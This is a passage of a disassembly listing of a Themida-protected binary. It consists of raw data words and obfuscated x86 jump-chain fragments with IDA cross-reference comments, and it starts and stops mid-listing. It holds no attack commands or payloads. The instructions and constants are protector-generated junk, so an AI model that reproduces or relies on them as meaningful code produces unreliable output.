4ECh, 24348900h, 4BEh, 0C1B95100h ; DATA XREF: Themida_:00550DC8o dd 0E97EEA45h, 36A9h, 4055Fh, 4870000h, 24248B24h, 5C0D68h dd 24348900h, 6B3E9h, 4C58100h, 83000000h, 2C8704C5h, 0D8015C24h dd 0FFE02DE9h, 80E4D0FFh, 4BE9DFF4h db 4Eh, 2 dup(0) ; --------------------------------------------------------------------------- loc_55880F: ; CODE XREF: Themida_:00555B54j sub eax, ebp push ebx mov ebx, 1FB54E22h or ebx, 9B03C83h add ebx, 7B3E645Eh jmp loc_55EC9A ; --------------------------------------------------------------------------- dd 0F7E909B4h, 50000048h, 0D2F9E9h db 0 ; --------------------------------------------------------------------------- loc_558835: ; CODE XREF: Themida_:00560AF0j mov ebx, 4 add eax, ebx pop ebx jmp loc_55FD68 ; --------------------------------------------------------------------------- dw 0C481h dd 4, 62F368h, 242C8900h, 342E5FBDh, 5EED815Ah, 215A342Eh dd 242C8BE8h, 0FFB4A2E9h db 0FFh ; --------------------------------------------------------------------------- loc_558865: ; CODE XREF: Themida_:005548D6j mov edx, 221F0EFCh neg edx and edx, 714E6561h add edx, 1A5E1190h jmp loc_558BC2 ; --------------------------------------------------------------------------- db 83h, 0C4h, 2 dd offset dword_4D4154+614h dd 5D38E900h, 815E0000h, 0BC4322EBh, 30F38119h, 0E9D94DFFh dd 0A42Ch, 4B8h, 4BCCE900h, 0F1880000h, 0E92434FFh, 3493h ; --------------------------------------------------------------------------- loc_5588B0: ; CODE XREF: Themida_:00558B6Fj pop ebp push eax mov eax, esp add eax, 4 jmp loc_5568CD ; --------------------------------------------------------------------------- dw 6568h dd 8900006Ah, 0E189240Ch, 4BE56h, 6AE90000h, 81FFFFD7h dd 4ECh, 241C8900h, 52E18951h, 0DB68DFBAh, 25C28179h, 0E9862497h dd 0AE57h, 0F389535Ah, 5E5BDD89h, 0FFDEDBE9h, 42D2F7FFh dd 2BF1E281h, 65685512h, 8900004Dh, 0EFBF243Ch, 810BEE30h dd 23F9F5C7h, 5FFA31F8h, 0C0ADE9h db 0 ; --------------------------------------------------------------------------- loc_558921: ; CODE XREF: Themida_:00562573j pop ebx add esp, 4 push ebp mov ebp, esp add ebp, 4 sub ebp, 4 xchg ebp, [esp] pop esp jmp loc_55EB9A ; --------------------------------------------------------------------------- db 89h, 4, 24h dd 0FFFF57E9h, 42A2B9FFh, 0F181304Fh, 79FF605Eh, 0C8BCE01h dd 0D848E924h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55895A: ; CODE XREF: Themida_:00560E18j sub edx, 2B6E78D5h pop edi xor edx, 72B248FCh push ecx push edx jmp loc_5549C5 ; --------------------------------------------------------------------------- dw 815Ah dd 0D2B9D8EBh, 0FFD929BCh db 34h, 24h, 5Bh ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 add ebp, 4 xchg ebp, [esp] pop esp jmp loc_556660 ; --------------------------------------------------------------------------- dd 0C581E589h, 4, 0E904C583h, 79AFh, 5B5668h, 9FD3E900h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5589AA: ; CODE XREF: Themida_:00553DF7j not ebp jmp loc_55B202 ; --------------------------------------------------------------------------- loc_5589B1: ; CODE XREF: Themida_:00551650j pop edi push ebx push esi pop ebx pop esi not esi xchg esi, ebx xor ebx, 54E65533h push edx mov edx, 26020DD7h jmp loc_55677E ; --------------------------------------------------------------------------- db 81h dd 1027BCEEh, 0E9F1016Fh, 8FC5h, 7E5B68h, 24348900h, 68241C8Bh dd 6506h, 89243489h, 4C681E6h, 53000000h, 4BBh, 0FEE8100h dd 13BA80Bh, 0FC681DEh, 5B3BA80Bh, 5C243487h, 8B245F89h dd 0C483241Ch, 24348B04h, 60F9E950h db 2 dup(0) ; --------------------------------------------------------------------------- loc_558A1E: ; CODE XREF: Themida_:00554AD6j mov ebp, 26CC6B8Bh xor ebp, edx jmp loc_55A1BC ; --------------------------------------------------------------------------- dw 0BA52h dd 5F545C40h, 215AD189h, 391DE9CFh, 0CE810000h, 49071856h dd 1159F681h, 0FFE92FECh, 0B80000A8h, 27A67705h, 48BC629h db 24h ; --------------------------------------------------------------------------- push ebp mov ebp, esp jmp loc_564786 ; --------------------------------------------------------------------------- loc_558A5D: ; CODE XREF: Themida_:005623ECj push 8F1h mov [esp], ebx push dword ptr [esp+4] pop ebx pop dword ptr [esp] mov esp, [esp] jmp loc_555B49 ; --------------------------------------------------------------------------- loc_558A75: ; CODE XREF: Themida_:00564C97j pop edi jmp loc_563550 ; --------------------------------------------------------------------------- loc_558A7B: ; CODE XREF: Themida_:0055A0E8j sub ecx, 7FB1779Ah jmp loc_55B243 ; --------------------------------------------------------------------------- dw 0D4E9h db 84h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_558A8B: ; CODE XREF: Themida_:0056124Aj pop ebx jmp loc_560EF9 ; --------------------------------------------------------------------------- loc_558A91: ; CODE XREF: Themida_:00561F4Aj add edx, eax jmp loc_563F2B ; --------------------------------------------------------------------------- aCsor db 'CИ╝r',0 align 2 dw 0CCFEh dd 7C1EE9h db 0 ; --------------------------------------------------------------------------- loc_558AA5: ; CODE XREF: Themida_:00552416j mov esi, 160E5A0Dh shr esi, 6 add esi, 3B914E26h jmp loc_5522D5 ; --------------------------------------------------------------------------- loc_558AB8: ; CODE XREF: Themida_:0055A40Ej pop ebp and ecx, 3F0721BDh not ecx not ecx neg ecx shl ecx, 7 jmp loc_559ADA ; --------------------------------------------------------------------------- loc_558ACD: ; CODE XREF: Themida_:0055D876j add ebp, 4 push eax push ebp jmp loc_55CD8E ; --------------------------------------------------------------------------- dw 0CE01h dd 0E92434FFh, 12FBh, 6607CB80h, 3018B151h, 0C8B66CBh dd 2C48324h, 205BDC30h, 24048BE5h, 8004C483h, 0CDFEEFE5h dd 4EC81h, 14890000h, 0F6EE8824h, 0F78853D6h, 14DAE9h dd 24348900h, 0B8C8E954h, 0F7510000h, 26E92414h, 890000CBh dd 0BF57240Ch, 18FC5610h, 7A49CF81h, 0ACE96C0Ch, 0BA00002Eh dd 88D08C46h, 0A5E9D629h, 66FFFFFDh, 666F6F68h, 81241C89h dd 4ECh, 24148900h, 28F6E9h db 0 ; --------------------------------------------------------------------------- loc_558B61: ; CODE XREF: Themida_:00559CBAj push ebx mov ebx, 3FF23B35h sub ebp, ebx pop ebx mov ebx, ebp push dword ptr [esp] jmp loc_5588B0 ; --------------------------------------------------------------------------- dd 468h, 0EA815E00h, 5C897345h, 0C281F201h, 5C897345h dd 5696E9h, 0CB895D00h, 0FF9274E9h, 2434FFFFh, 1BE5E9h db 0 ; --------------------------------------------------------------------------- loc_558B9D: ; CODE XREF: Themida_:00561197j add esp, 4 push small word ptr [eax] jmp loc_550F5F ; --------------------------------------------------------------------------- dd 5804C483h, 5007E1C0h, 0EC80DFB4h, 58E12845h, 3059CF88h dd 0F36BE9F8h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_558BC2: ; CODE XREF: Themida_:00558878j shl edx, 4 jmp loc_551AF5 ; --------------------------------------------------------------------------- loc_558BCA: ; CODE XREF: Themida_:00558DF2j sub edx, 1 jmp loc_554F6B ; --------------------------------------------------------------------------- dw 8966h dd 0E9502414h, 0FFFF8A97h, 1E33CCBBh, 5BDF2903h, 1222C781h dd 0EF8174AFh, 37E541E9h, 0C781F701h, 37E541E9h, 0BB4AE9h dd 0E9CA2900h, 0FFFFA6DFh ; --------------------------------------------------------------------------- loc_558C04: ; CODE XREF: Themida_:0055F05Fj shr ebx, 5 add ebx, 41638AA8h mov ecx, ebx pop ebx add ecx, 375C5273h push edx mov edx, 7678541Eh shl edx, 7 sub edx, 3E4B1D75h jmp loc_5605D9 ; --------------------------------------------------------------------------- dw 15Dh dd 0A2DDE9CAh db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_558C32: ; CODE XREF: Themida_:00557601j or eax, eax jmp loc_562295 ; --------------------------------------------------------------------------- db 28h, 0C8h, 59h dd 348B5456h, 4C48324h, 4C681h, 0EE830000h, 24348704h dd 0FFB073E9h, 4C681FFh, 83000000h, 348704C6h, 24248B24h dd 81E28952h, 4C2h, 4EA8100h, 87000000h, 895C2414h, 0EC832414h dd 24048904h, 96E9D8B4h, 0BF0000A3h, 4EEF4A8Bh, 0D7EF8147h dd 0E9271A65h, 3949h, 8DCB951h, 54E91699h, 0F7000070h dd 0F7DEF7D6h, 0F7DEF7DEh, 0CEBD55D6h, 0C14F363Eh, 0D5F704E5h dd 9DCD8145h, 0E962871Ch, 211Eh ; --------------------------------------------------------------------------- loc_558CC4: ; CODE XREF: Themida_:00556481j or ecx, 5E2F7F62h jmp loc_5549D5 ; --------------------------------------------------------------------------- db 81h dd 0F10A00EAh, 2EAC135h, 950CE951h, 0AEB9FFFFh, 0E90F8E6Ch dd 4777h, 83241C8Bh, 0C78304C4h, 243C8702h, 6624248Bh dd 5624048Bh, 24348B54h, 0F5B7E952h, 0E95CFFFFh, 0FFFF8776h dd 0A6B75352h, 0FFF61DE9h, 2434FFFFh, 4C4835Bh, 4C481h dd 53660000h, 0FFA23BE9h, 0AEE95CFFh, 80000087h, 0EB80DEEBh dd 0F6D38600h, 885166D2h, 88DA88D5h, 0B1DEE9EBh, 1B2CFFFFh dd 0D8285B66h, 152C332Ch, 351468h, 24148900h, 1E9E289h dd 5F0000ABh, 8102EDC1h, 80003C5h, 5DEA01C4h, 8B241487h dd 83562424h, 8F5404ECh, 4812404h, 424h, 0DD70E900h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_558D86: ; CODE XREF: Themida_:005650FAj push 61CFh mov [esp], edx mov edx, esp add edx, 4 sub edx, 4 xchg edx, [esp] jmp loc_55A839 ; --------------------------------------------------------------------------- db 52h, 0BAh, 4 dd 1000000h, 0EB835AD3h, 241C8704h, 2434895Ch, 5404EC83h dd 5724048Fh, 4BFh, 247C0100h, 348B5F04h, 193BE924h db 2 dup(0) ; --------------------------------------------------------------------------- loc_558DCE: ; CODE XREF: Themida_:0055A330j xchg esi, [esp] pop esp pop eax jmp loc_55564E ; --------------------------------------------------------------------------- dd 0E581DDF7h, 53D22BE2h, 0FFAC45E9h db 0FFh ; --------------------------------------------------------------------------- loc_558DE5: ; CODE XREF: Themida_:0055B7E0j push edx not dword ptr [esp] mov edx, [esp] add esp, 4 jmp loc_558BCA ; --------------------------------------------------------------------------- loc_558DF7: ; CODE XREF: Themida_:0055FA11j shr eax, 4 jmp loc_5620B6 ; --------------------------------------------------------------------------- db 5Dh dd 4245C29h, 7D87E9h db 0 ; --------------------------------------------------------------------------- loc_558E09: ; CODE XREF: Themida_:0055B22Ej mov ebx, [esp] add esp, 4 add ecx, edi mov edi, [esp] push edi mov edi, esp add edi, 4 add edi, 4 xchg edi, [esp] mov esp, [esp] sub esp, 4 mov [esp], ebp push ecx mov ecx, 7D5349AEh jmp loc_565BAF ; --------------------------------------------------------------------------- loc_558E3A: ; CODE XREF: Themida_:005659B3j add ebp, edx pop edx jmp loc_552B56 ; --------------------------------------------------------------------------- loc_558E42: ; CODE XREF: Themida_:00562A50j xor ecx, 21B95507h inc ecx jmp loc_555713 ; --------------------------------------------------------------------------- loc_558E4E: ; CODE XREF: Themida_:005614CFj push ebx jmp loc_557ADE ; --------------------------------------------------------------------------- dd 2416BF57h, 0CF813199h, 57713492h, 0FFAFF6E9h, 6506B9FFh dd 4481007Dh, 58C70424h, 4C0158A8h, 6C810424h, 58C70424h dd 5A5958A8h, 6506BB53h, 0C281007Dh, 0D030DCBh, 0EA81DA29h dd 0D030DCBh, 2434FF5Bh, 4C4815Fh, 0E9000000h, 0FFFFFA59h dd 2BEh, 8BF50100h, 0DCE92434h db 26h, 2 dup(0) ; --------------------------------------------------------------------------- loc_558EB3: ; CODE XREF: Themida_:0055F792j and ecx, ebp jmp loc_55BCD3 ; --------------------------------------------------------------------------- dw 34FFh dd 24348B24h, 4C481h, 0C4810000h, 4, 68E68956h, 2FB8h dd 0B9240C89h, 4, 47D7EE81h, 0CE017FC5h, 47D7C681h, 0E9597FC5h dd 0FFFFA5A3h, 1965BF57h, 0C7BE693Dh, 31769031h, 71E95FFEh dd 5F000016h, 453E9h, 2E9C100h, 42D5BF57h, 0E78103FAh dd 12B45E42h, 661EF781h, 0E6E9245Ch, 30FFFF83h, 2434FFD8h dd 4D95E95Bh, 50580000h, 8852FC88h, 5AD188E2h, 0EC815B58h dd 4, 0E9240C89h, 7883h, 5585450h, 4, 766EE9h db 0 ; --------------------------------------------------------------------------- loc_558F55: ; CODE XREF: Themida_:0055422Cj xchg ecx, [esp] pop esp mov [esp], esp add dword ptr [esp], 4 pop edx jmp loc_565608 ; --------------------------------------------------------------------------- dw 0C381h dd 0FE269C72h, 815BDE29h, 925020E6h, 23C68136h, 810EE645h dd 976AC1C6h, 5EF001F0h, 42Dh, 24048700h, 2404895Ch, 0FFB25FE9h dd 4C483FFh, 0C474E9h db 0 ; --------------------------------------------------------------------------- loc_558F9D: ; CODE XREF: Themida_:00561CC0j shr edx, 4 add edx, 1BED0040h jmp loc_552C84 ; --------------------------------------------------------------------------- db 54h dd 0E924048Bh, 9B65h, 3941E947h, 0C2810000h, 4, 8904EC83h dd 4682434h, 5E000000h, 348BF201h, 99E95524h, 500005Bh dd 1A7609Eh, 0AC6DE9h, 1F642D00h, 10052350h, 0E926963Ch dd 8B5Ah, 4BA52h, 0D3290000h, 241C875Ah, 241C895Ch, 33241C31h dd 0D8E9241Ch, 59FFFFDAh, 55C2015Dh, 4523D5BDh, 0F7F58741h dd 5D5655DEh, 56D5F75Eh, 8EBFE9h, 24248B00h, 24043166h dd 9CF1E99Ch db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_559032: ; CODE XREF: Themida_:005595F1j inc edx jmp loc_55F9F1 ; --------------------------------------------------------------------------- dd 0EE63D02Dh, 5F80131h, 31EE63D0h, 0E904EC83h, 7831h dword_55904C dd 9D1C77FFh, 19665866h, 0E99C2404h, 0FFFF7F03h, 0F07EF8BBh ; DATA XREF: Themida_:00550DD4o dd 8ADEBA50h, 0DA01C6FFh, 4EAC15Bh, 263EE9h db 0 ; --------------------------------------------------------------------------- loc_559071: ; CODE XREF: Themida_:0055BED6j push edi mov edi, 7B3471A8h jmp loc_55C14C ; --------------------------------------------------------------------------- dd 4240483h, 5A2434FFh, 4C481h, 55680000h, 0E9000058h dd 0FFFFF8A9h, 85C8E95Eh, 0B8500000h, 88E4043h, 0A308A725h dd 0FFFF2D47h, 0F740FFFFh, 0B0548D8h, 31449D68h, 0CF8958C1h dd 0FF8558E9h db 0FFh ; --------------------------------------------------------------------------- loc_5590BD: ; CODE XREF: Themida_:00560A1Ej push edi jmp loc_5622D8 ; --------------------------------------------------------------------------- loc_5590C3: ; CODE XREF: Themida_:00562E93j sub [esp+4], ebx push dword ptr [esp] mov ebx, [esp] add esp, 4 add esp, 4 mov edi, [esp] push eax mov eax, esp add eax, 4 jmp loc_55ED57 ; --------------------------------------------------------------------------- db 1, 0FEh, 5Fh dd 8B243487h, 0EC812424h, 2, 94C2E9h, 4C48100h, 57000000h dd 76D9BA52h, 8B523EA6h, 0C481243Ch, 4, 8124148Bh, 4C4h dd 524F4700h, 0E83AB3BAh, 5AD729D6h, 0BC35E957h, 0D101FFFFh dd 0AEC9815Ah, 4173A614h, 22DB6849h, 0D5E90000h db 0B5h, 2 dup(0) ; --------------------------------------------------------------------------- loc_559143: ; CODE XREF: Themida_:005515C2j mov [esp], esp jmp loc_55BFB3 ; --------------------------------------------------------------------------- db 83h dd 0B85004C4h, 4, 0FFA3A6E9h db 0FFh ; --------------------------------------------------------------------------- loc_559159: ; CODE XREF: Themida_:00555662j push edx jmp loc_557FAC ; --------------------------------------------------------------------------- loc_55915F: ; CODE XREF: Themida_:0055C4B5j pop esi sub esp, 4 mov [esp], eax jmp loc_561E13 ; --------------------------------------------------------------------------- dw 0F66h dd 9C2404A3h, 0FF7DE6E9h, 0EA8166FFh, 29663DE0h, 0C28166F2h dd 0BE93DE0h, 8100005Dh, 4C3h, 4EB8300h, 5C241C87h, 0FFEFF2E9h dd 0E9D6F7FFh, 0FFFFDBD2h ; --------------------------------------------------------------------------- loc_5591A4: ; CODE XREF: Themida_:005524D8j xchg esi, [esp] push dword ptr [esp] push dword ptr [esp] pop eax push eax mov eax, esp push edi mov edi, 4 jmp loc_556626 ; --------------------------------------------------------------------------- dd 0CCB60F66h, 1CD26866h, 240C8966h, 0C8B60F66h, 0E99C5166h dd 0FFFF7D8Bh, 0B6E95659h, 0BF0000C2h, 24B5341Dh, 0C108EFC1h dd 0DFF707EFh, 88A5C781h, 0F901722Ah, 9CBE565Fh, 31C0F2B3h dd 0EE66E9F1h, 8F66FFFFh, 6FE98704h, 5D000006h, 1A2CE9h dd 7D4DE900h, 48E9FFFFh, 51FFFF7Dh, 0FFA26EE9h, 0F6EB81FFh dd 89FFF37Dh, 241C8BDDh, 4C481h, 0E9810000h, 0C664AABh dd 0BE56E901h, 0C664AABh, 5D5EF101h, 303368h, 24348900h dd 0FFEBE7E9h, 0E95166FFh, 0C076h, 0F14C7BEh, 5AF6812Eh dd 57332735h, 4F37DDBFh, 0E9FE0907h, 4B69h dword_55926C dd 2B60F66h, 6A356866h, 24048966h, 0FF7CE2E9h, 241C8BFFh ; DATA XREF: Themida_:00550D0Co dd 3004C483h, 148B66D0h, 2E95024h db 0DEh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55928F: ; CODE XREF: Themida_:0055EE4Dj xchg ebx, [esp] pop esp push edi jmp loc_555513 ; --------------------------------------------------------------------------- loc_559299: ; CODE XREF: Themida_:00551EE4j mov [esp], edx push eax mov eax, 4DD6963h push esi jmp loc_555D73 ; --------------------------------------------------------------------------- loc_5592A8: ; CODE XREF: Themida_:00561FF3j mov edx, 7A9D5ACCh xor edx, esi pop esi xor edx, 6A83194Fh push ebp mov ebp, 68235316h xor ebp, 4485348h shr ebp, 5 push edi mov edi, 7D184EC9h xor edi, 0F9D91CFDh add ebp, 3CE60E36h sub ebp, edi sub ebp, 3CE60E36h pop edi and edx, ebp pop ebp sub edx, 1 add edx, 30892FDEh push edi jmp loc_55A83F ; --------------------------------------------------------------------------- db 8Bh, 34h, 24h dd 4C481h, 0D8310000h, 0FFA652E9h, 3E955FFh db 0DCh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55930B: ; CODE XREF: Themida_:0055159Bj xor ebp, [esp] pop esp pop eax push ecx push eax push edi mov edi, 5C2F1AA2h shl edi, 1 add edi, 1 jmp loc_5513BB ; --------------------------------------------------------------------------- loc_559325: ; CODE XREF: Themida_:0055E5CDj pop ebp push 2F83h mov [esp], ecx jmp loc_55657E ; --------------------------------------------------------------------------- loc_559333: ; CODE XREF: Themida_:0055C67Aj add ebp, 0FBF6F852h jmp loc_55CC3E ; --------------------------------------------------------------------------- dw 0BF57h dd 2, 335FFA01h, 14312414h, 24143324h, 824248Bh, 0E99C2404h dd 0FFFF7C03h, 4C381h, 0FF530000h, 5B042474h, 8B24048Fh dd 34FF2424h, 24048B24h, 462E68h, 240C8900h, 553268h, 3F37E900h dd 0C3810000h, 4, 2474FF53h, 6CCE904h, 0C5810000h, 61C55E1Bh dd 0ED81FD01h, 61C55E1Bh, 7B3EE9h db 0 ; --------------------------------------------------------------------------- loc_5593A9: ; CODE XREF: Themida_:0055AFB1j add ebx, eax jmp loc_562EC8 ; --------------------------------------------------------------------------- loc_5593B0: ; CODE XREF: Themida_:00561B9Cj sub ch, 5Dh jmp loc_554CAE ; --------------------------------------------------------------------------- loc_5593B8: ; CODE XREF: Themida_:005527C0j push ebx mov bl, ch push ecx mov ch, bl mov dl, ch pop ecx mov ebx, [esp] add esp, 4 jmp loc_55AFDB ; --------------------------------------------------------------------------- aS_9 db ']Ии',1Bh,0 dd 2404D200h, 7B81E99Ch, 875BFFFFh, 248B240Ch, 6AEF6824h dd 0C890000h, 0C8B5424h, 0C763E924h db 2 dup(0FFh) word_5593F6 dw 8B66h ; DATA XREF: Themida_:00550CA4o dd 0EC81240Ch, 4, 83241C89h, 248904ECh, 24048324h, 0C3815B04h dd 4, 379D68h, 24048900h, 268h, 0EB815800h, 586B028Ah dd 0EC81C301h, 4, 0E9243C89h, 6BDAh ; --------------------------------------------------------------------------- loc_559438: ; CODE XREF: Themida_:005585D5j mov ecx, [ebx] mov ebx, [esp] jmp loc_561443 ; --------------------------------------------------------------------------- loc_559442: ; CODE XREF: Themida_:00563870j push edi push 34B31528h mov edi, [esp] push edx jmp loc_55C25B ; --------------------------------------------------------------------------- db 5Eh, 0F7h, 0D2h dd 0EA81D2F7h, 31540D77h, 295AD029h, 328805E8h, 242D0D29h dd 2D78C618h, 40B634D3h, 5D2434FFh, 4C481h, 68520000h dd 285Bh, 52243C89h, 9C044768h, 0E2815A7Eh, 13F37221h dd 4CE6CA81h, 0DFE92C3Fh, 54FFFFD1h, 117F685Bh, 2C890000h dd 79BF5724h, 684C052Fh, 1730h, 0B9240C89h, 449368E2h dd 0F759CF31h, 0BB5351D7h, 41C2479Ah, 505BD989h, 47E95155h dd 0E9FFFFB1h, 0FFFF7A8Bh ; --------------------------------------------------------------------------- loc_5594D4: ; CODE XREF: Themida_:00554538j push ebx push dword ptr [esp+4] mov ebx, [esp] add esp, 4 pop dword ptr [esp] mov esp, [esp] loc_5594E5: ; CODE XREF: Themida_:0055D02Fj push ebx jmp loc_5541CB ; --------------------------------------------------------------------------- loc_5594EB: ; CODE XREF: Themida_:0055345Aj xor ecx, 1B795B4Eh mov edi, ecx mov ecx, [esp] add esp, 4 push 0 sub [esp], edi pop edi and edi, 667058DDh push esi mov esi, 147303A6h push edx jmp loc_55A0B1 ; --------------------------------------------------------------------------- loc_559514: ; CODE XREF: Themida_:0055653Fj sub edx, 58CB6E85h add edx, ebx add edx, 58CB6E85h push dword ptr [esp] pop ebx add esp, 4 push eax mov eax, 1DA31199h sub eax, 0FFFFFFFFh or eax, 3BB6522Dh shl eax, 6 sub eax, 4B7A4C5Eh add eax, 5DA55CA2h add edx, 0FA4584Fh jmp loc_55D241 ; --------------------------------------------------------------------------- db 8Bh, 2Ch, 24h dd 4C481h, 48F0000h, 0F665C24h, 5AE9C8BEh, 81000095h, 4C1h dd 7EE95600h, 81000035h, 4C6h, 0C205E900h, 0FD890000h dd 6EDC15Fh, 0BA52D5F7h, 77C67354h, 5342D2F7h, 396A06BBh dd 5BDA3160h, 6A68F281h, 1AE90EB7h, 89FFFFBCh, 4BA2414h dd 0E9000000h, 4E5Ch, 25C5055Bh, 0A3E97E54h db 4Ah, 2 dup(0) byte_5595BB db 66h ; DATA XREF: Themida_:00550E2Co dd 0E9240C8Bh, 4A31h, 68DAF105h, 0C2FFE938h db 2 dup(0FFh) word_5595CE dw 34FFh ; DATA XREF: Themida_:00550CCCo dd 24048B24h, 0CF1E951h db 2 dup(0) ; --------------------------------------------------------------------------- loc_5595DA: ; CODE XREF: Themida_:00561A9Ej pop ebp push eax push edx mov edx, 6A0B3FA4h sub edx, 231C1ACDh and edx, 77F966AFh shl edx, 8 jmp loc_559032 ; --------------------------------------------------------------------------- aZ4Snw db '┤4$ИNw',0 align 2 loc_5595FE: ; CODE XREF: Themida_:00555670j shr eax, 8 not eax xor eax, 0D3552939h mov esi, eax jmp loc_55AC9A ; --------------------------------------------------------------------------- aWs db 'WИна',0 dd 70B05000h, 0C200E734h, 0A4EC8058h, 0C480D428h, 0B1515AA4h dd 59CC0090h, 0E9E68852h, 0FFFFF272h ; --------------------------------------------------------------------------- loc_559634: ; CODE XREF: Themida_:00562925j sub edx, 33195EFh mov eax, edx pop edx jmp loc_55B633 ; --------------------------------------------------------------------------- dw 0D105h dd 1128710h, 10D12DE8h, 2C8B1287h, 0E2895224h, 4C281h dd 0C2810000h, 4, 5C241487h, 348B5456h, 4C48324h, 0FFFF02E9h dd 0B9515AFFh, 92B68B3Ch, 0C8BCF01h, 4C48124h, 5000000h dd 55536478h, 6841A005h, 16252D26h, 0F8015807h, 7162505h dd 41A02D58h, 782D2668h, 5F555364h, 1DE9C721h, 8000000Dh dd 148B53EBh, 0E0895024h, 4BE56h, 0F0010000h, 8406E95Eh dd 3C89FFFFh, 655FBF24h, 0BE562820h, 45B60908h, 7BAEEE81h dd 0DEF7524Fh, 0DEF7DEF7h, 8BA3E9h, 20ED8100h, 5860586Bh dd 5C242C87h, 3E30E9h db 0 ; --------------------------------------------------------------------------- loc_5596F1: ; CODE XREF: Themida_:005586E5j push edx mov edx, 39DC6187h inc edx add edx, 0F23F1029h mov ecx, edx pop edx jmp loc_556544 ; --------------------------------------------------------------------------- dw 0B5BEh dd 314C4950h, 2434FFDEh, 4C4815Bh, 31000000h, 24348BF3h dd 4C481h, 0E3C10000h, 47F38107h, 81131104h, 32D574F3h dd 2174E98Eh, 0DBB60000h, 5AF000h, 0DBB652F0h, 148BF028h dd 4C48324h, 5624148Bh, 9BE9E689h, 83000059h, 8F6602C4h dd 0EC812404h, 2, 242C8966h, 81E18951h, 4C1h, 2E98100h dd 87000000h, 665C240Ch, 66241489h, 22474FFh, 24148B66h dd 2C481h, 8F660000h, 87662404h, 0D7F766FAh, 66FA8766h dd 66241487h, 0E9242C8Bh, 0FFFFF7A4h, 0B8h, 93D82900h dd 1944E958h, 4BE0000h, 1000000h, 5E042474h, 5624348Bh dd 0C681E689h, 4, 4C681h, 34870000h, 0C6815C24h, 4, 4C681h dd 34870000h, 24248B24h, 2474FF55h, 1DE95D04h db 71h, 2 dup(0) ; --------------------------------------------------------------------------- loc_5597EF: ; CODE XREF: Themida_:005620DDj mov ebx, [esp] add esp, 4 sub eax, ebp pop ebp jmp loc_553721 ; --------------------------------------------------------------------------- dd 45B9515Ah, 0E91DFC53h, 5031h, 2D04E0C1h, 3CE8AD96h dd 890E9h db 0 ; --------------------------------------------------------------------------- loc_559819: ; CODE XREF: Themida_:00553211j sub esp, 4 mov [esp], esp add dword ptr [esp], 4 push dword ptr [esp] pop eax add esp, 4 add eax, 4 jmp loc_5656AB ; --------------------------------------------------------------------------- db 50h, 0B8h, 4 dd 1000000h, 58042444h, 68555658h, 4AC44CBBh, 64F5815Dh dd 891A203Bh, 0F6815DEEh, 50E477DBh, 9022E9h db 0 ; --------------------------------------------------------------------------- loc_559865: ; CODE XREF: Themida_:0055D74Fj add ecx, esi jmp loc_565186 ; --------------------------------------------------------------------------- aL4VtsP db '▀4$VTИ:p',0 align 2 dw 0E4E9h db 76h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55987B: ; CODE XREF: Themida_:00555F23j sub ebx, 647B4B0Fh neg ebx sub ebx, 303181A5h jmp loc_552AF0 ; --------------------------------------------------------------------------- dw 0F6BBh dd 815B5950h, 0D90B71F3h, 5BD82975h, 0FFCBA4E9h db 0FFh ; --------------------------------------------------------------------------- loc_5598A1: ; CODE XREF: Themida_:0055DE70j mov edi, 5D527BB0h sub edi, 224743B3h sub edi, 384941EAh sub edi, 0FFFFFFFFh jmp loc_55AE06 ; --------------------------------------------------------------------------- dw 0E8C1h dd 94E95102h db 0E6h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5598C3: ; CODE XREF: Themida_:0055C24Bj push dword ptr [esp] mov eax, [esp] jmp loc_564657 ; --------------------------------------------------------------------------- loc_5598CE: ; CODE XREF: Themida_:0055FD47j mov ecx, [esp] jmp loc_564C95 ; --------------------------------------------------------------------------- dw 0E0C1h dd 196E902h, 77210000h, 0AF7AE91Ch db 2 dup(0) ; --------------------------------------------------------------------------- loc_5598E6: ; CODE XREF: Themida_:00556EE5j add edx, esi pop esi jmp loc_552E29 ; --------------------------------------------------------------------------- dw 0F766h dd 0E94366D3h, 0FFFF9FF3h, 1FAF41BDh, 0E9E9893Dh, 4FF9h dd 11C380h, 11EB80D3h, 0C0B60F5Ah, 0E98734FFh, 0FFFF7647h dd 575BDE01h, 556A7BBFh, 0E9DFF765h, 0FFFFB360h, 8904EC83h dd 0EABB241Ch, 16EFB7Bh, 6470E9DEh db 2 dup(0) ; --------------------------------------------------------------------------- loc_55993A: ; CODE XREF: Themida_:00561243j mov ecx, 75E35F63h add dword ptr [esp+4], 0ED82EA4h push esi mov esi, 207B3CEEh add [esp+8], esi pop esi jmp loc_560242 ; --------------------------------------------------------------------------- db 81h dd 4543CEEBh, 348B5A10h, 4C48124h, 0E9000000h, 313Ah, 8205C829h dd 59107146h, 8904EC83h, 0F6BE2434h, 5025F02h, 280D3A84h dd 0E3E9F029h db 0BBh, 2 dup(0) ; --------------------------------------------------------------------------- loc_55998B: ; CODE XREF: Themida_:0055A72Ej push 812h mov [esp], esi jmp loc_56535E ; --------------------------------------------------------------------------- loc_559998: ; CODE XREF: Themida_:0055F16Aj push edx mov edx, esp jmp loc_55A6AD ; --------------------------------------------------------------------------- dd 5002C483h, 5DE9E089h db 8, 2 dup(0) ; --------------------------------------------------------------------------- loc_5599AB: ; CODE XREF: Themida_:00563683j pop esp add esp, 4 jmp loc_564368 ; --------------------------------------------------------------------------- db 68h dd 4B291C8Dh, 0DE3815Bh, 81052722h, 0A8D0B1F3h, 5BDF89F2h dd 295DEF29h, 0CE095FF9h, 0C070E959h db 2 dup(0) ; --------------------------------------------------------------------------- loc_5599DA: ; CODE XREF: Themida_:0055358Aj xchg ebp, [esp] pop esp mov [esp], ebx jmp loc_5564E5 ; --------------------------------------------------------------------------- aI4Si db '┴4$И╘]',0 align 2 loc_5599EE: ; CODE XREF: Themida_:00554E25j push ebx mov bl, dl mov ch, bl mov ebx, [esp] add esp, 4 push 2555h jmp loc_5632F5 ; --------------------------------------------------------------------------- db 4 dd 28162CCBh, 0E91604E8h, 9050h ; --------------------------------------------------------------------------- loc_559A10: ; CODE XREF: Themida_:005569F3j push 